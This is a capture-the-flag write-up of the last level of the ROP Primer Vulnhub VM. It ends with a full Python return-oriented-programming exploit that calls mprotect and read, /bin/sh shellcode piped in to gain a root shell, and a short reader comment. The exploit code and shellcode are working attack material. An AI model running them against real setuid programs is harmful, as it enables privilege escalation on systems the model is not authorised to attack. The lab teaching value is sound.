This post covers the last level of the ROP Primer Vulnhub VM.
As usual, let’s start by getting some info about the binary.
level2@rop:~$ ls -l
total 588
-rw-r—— 1 root root 27 Jan 20 2015 flag
-rwsr-xr-x 1 root root 595252 Jan 20 2015 level2
level2@rop:~$ file level2
level2: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.26, BuildID[sha1]=baba7f4fd049424caed048eb73eb6668b45a962e, not stripped
ASLR is disabled and we can run the checksec
script to get info about other mitigations in place.
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : disabled
Sending a long input to the program makes it crash, so we know there is no bounds checking.
EDIT: after completing the challenge I re-read the instructions, where it explicitly states that there is a web server running on the VM with more info about the challenges. One of the things it provides is the source code, so even though it’s not difficult to find the bugs, it should have been more obvious and these posts shorter. Lesson learned: always read the instructions at least twice.
level2@rop:~$ ./level2 blabla
[+] ROP tutorial level2
[+] Bet you can't ROP me this time around, blabla!
level2@rop:~$ ./level2 $(python -c 'print "A"*100')
[+] ROP tutorial level2
[+] Bet you can't ROP me this time around, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!
Segmentation fault
Let’s disassemble the main function.
gdb-peda$ disas main
Dump of assembler code for function main:
0x08048254 <+0>: push ebp
0x08048255 <+1>: mov ebp,esp
0x08048257 <+3>: and esp,0xfffffff0
0x0804825a <+6>: sub esp,0x30
0x0804825d <+9>: cmp DWORD PTR [ebp+0x8],0x1
0x08048261 <+13>: jle 0x804829b <main+71>
0x08048263 <+15>: mov DWORD PTR [esp],0x80ab4e8
0x0804826a <+22>: call 0x8048dc0 <puts>
0x0804826f <+27>: mov eax,DWORD PTR [ebp+0xc]
0x08048272 <+30>: add eax,0x4
0x08048275 <+33>: mov eax,DWORD PTR [eax]
0x08048277 <+35>: mov DWORD PTR [esp+0x4],eax
0x0804827b <+39>: lea eax,[esp+0x10]
0x0804827f <+43>: mov DWORD PTR [esp],eax
0x08048282 <+46>: call 0x8051160 <strcpy>
0x08048287 <+51>: lea eax,[esp+0x10]
0x0804828b <+55>: mov DWORD PTR [esp+0x4],eax
0x0804828f <+59>: mov DWORD PTR [esp],0x80ab500
0x08048296 <+66>: call 0x8048d90 <printf>
0x0804829b <+71>: mov eax,0x0
0x080482a0 <+76>: leave
0x080482a1 <+77>: ret
End of assembler dump.
It doesn’t do any bounds checking. strcpy
copies argv[1]
into the buffer and that’s it.
How many bytes do we need to provide in order to overwrite the ret address?
gdb-peda$ r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
…
Stopped reason: SIGSEGV
0x35624134 in ?? ()
Check the substring index.
>>> "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A".find("35624134".decode("hex")[::-1])
44
OK, so bytes 45-46-47-48
overwrite the ret.
The input is copied with strcpy
, so it cannot contain any null bytes. We won’t be able to reuse the exploit from the first level, since it relies on several values that contain null bytes. We’ll have to use the mprotect
and read
syscalls instead.
level2@rop:~$ grep -E 'mprotect |read ' /usr/include/i386-linux-gnu/asm/unistd_32.h
#define __NR_read 3
#define __NR_mprotect 125
We can use the address 0x080ca000
to store the shellcode. It’s part of the address space where the binary is mapped. This info can be obtained with the vmmap
command inside gdb-peda
.
gdb-peda$ vmmap
Start End Perm Name
0x08048000 0x080ca000 r-xp /home/level2/level2
0x080ca000 0x080cb000 rw-p /home/level2/level2
0x080cb000 0x080ef000 rw-p [heap]
0xb7fff000 0xb8000000 r-xp [vdso]
0xbffdf000 0xc0000000 rw-p [stack]
First, we want to execute mprotect(0x080ca000, 128, PROT_READ|PROT_WRITE|PROT_EXEC)
, so the registers need to contain the following values.
EAX = 125
EBX = 0x080ca000
ECX = 128
EDX = 7
After the memory region is marked as rwx
we need to read the shellcode from the standard input. In order to execute read(0, 0x080ca000, 128)
, the registers need to be configured as follows.
EAX = 3
EBX = 0
ECX = 0x080ca000
EDX = 128
Note that we need to use the int 0x80; ret
gadget to execute each syscall.
There are different ways to get the list of available gadgets. One of them is to upload the binary to ropshell.com
, which also provides a searchable interface to filter gadgets by the register in use or the type of instruction.
The idea is to fulfill the requirements of each of the system calls by concatenating gadgets. For example, if we need to set EDX
to 7
, we can find a pop edx; ret
gadget, place a 0xffffffff
value in the stack, and then use the inc edx; ret
gadget 8
times in a row.
In this particular challenge there are tons of useful gadgets available, so it’s not hard to find a way to set each register to the desired value.
The exploit looks as follows.
#!/bin/env python
import struct
def p(x):
return struct.pack('<L', x)
# convert offset to absolute address
def c(x):
return p(0x08048000 + x)
# empty payload
payload = ""
# padding
payload += "A" * 44
# mprotect(0x080ca000, 128, PROT_READ|PROT_WRITE|PROT_EXEC)
# edx = 7
payload += c(0x0000a476) # pop edx; ret
payload += p(0xffffffff) # edx
payload += c(0x00006da1) # inc edx; add al, 0x83; ret
payload += c(0x00006da1) # inc edx; add al, 0x83; ret
payload += c(0x00006da1) # inc edx; add al, 0x83; ret
payload += c(0x00006da1) # inc edx; add al, 0x83; ret
payload += c(0x00006da1) # inc edx; add al, 0x83; ret
payload += c(0x00006da1) # inc edx; add al, 0x83; ret
payload += c(0x00006da1) # inc edx; add al, 0x83; ret
payload += c(0x00006da1) # inc edx; add al, 0x83; ret
# ebx = 0x080ca000, ecx = 128
payload += c(0x0000a49d) # pop ecx; pop ebx; ret
payload += p(0xffffffff) # ecx
payload += p(0x080ca001) # ebx = addr + 1
payload += c(0x00007871) # dec ebx; ret
payload += c(0x000806db) # inc ecx; ret
payload += c(0x000806db) # inc ecx; ret
payload += c(0x000806db) # inc ecx; ret
payload += c(0x0004fd5a) # add ecx, ecx; ret
payload += c(0x0004fd5a) # add ecx, ecx; ret
payload += c(0x0004fd5a) # add ecx, ecx; ret
payload += c(0x0004fd5a) # add ecx, ecx; ret
payload += c(0x0004fd5a) # add ecx, ecx; ret
payload += c(0x0004fd5a) # add ecx, ecx; ret
payload += c(0x000601d6) # pop eax; ret
payload += p(0xffffffff) # eax
payload += c(0x0002321e) # add eax, ecx; ret
payload += c(0x000600c6) # dec eax; ret
payload += c(0x000600c6) # dec eax; ret
payload += c(0x0000aba0) # int 0x80; ret
# read(0, 0x0804ca000, large value)
# eax = 3
payload += c(0x000601d6) # pop eax; ret
payload += p(0xffffffff) # eax
payload += c(0x000222ef) # inc eax; ret
payload += c(0x000222ef) # inc eax; ret
payload += c(0x000222ef) # inc eax; ret
payload += c(0x000222ef) # inc eax; ret
# ebx = 0, ecx = 0x080ca000
payload += c(0x0000a49d) # pop ecx; pop ebx; ret
payload += p(0x080ca001) # ecx = addr + 1
payload += p(0xffffffff) # ebx
payload += c(0x000008e9) # dec ecx; ret
payload += c(0x000806d1) # inc ebx; ret
# edx = any large value
payload += c(0x0000a476) # pop edx; ret
payload += p(0x01111111) # edx
payload += c(0x0000aba0) # int 0x80; ret
# jmp to ecx = 0x080ca000
payload += c(0x0005e42c) # jmp ecx
print payload
We can reuse the shell spawning shellcode from level0
. Remember to keep the shell open with cat
.
level2@rop:~$ (python -c 'print "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"'; cat) | ./level2 "$(python ./exp.py)"
[+] ROP tutorial level2
[+] Bet you can't ROP me this time around, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAv??????????????????
qۆ
ۆ
ۆ
Z} ց}
????ƀ
ƀ
?ց
??????
????ц
v?,d
!
id
uid=1002(level2) gid=1002(level2) euid=0(root) groups=0(root),1002(level2)
cat flag
flag{to_rop_or_not_to_rop}
Hello xmgv!
Please email me, i have to ask you something about this!
Best regards,
teh3ck.
LikeLike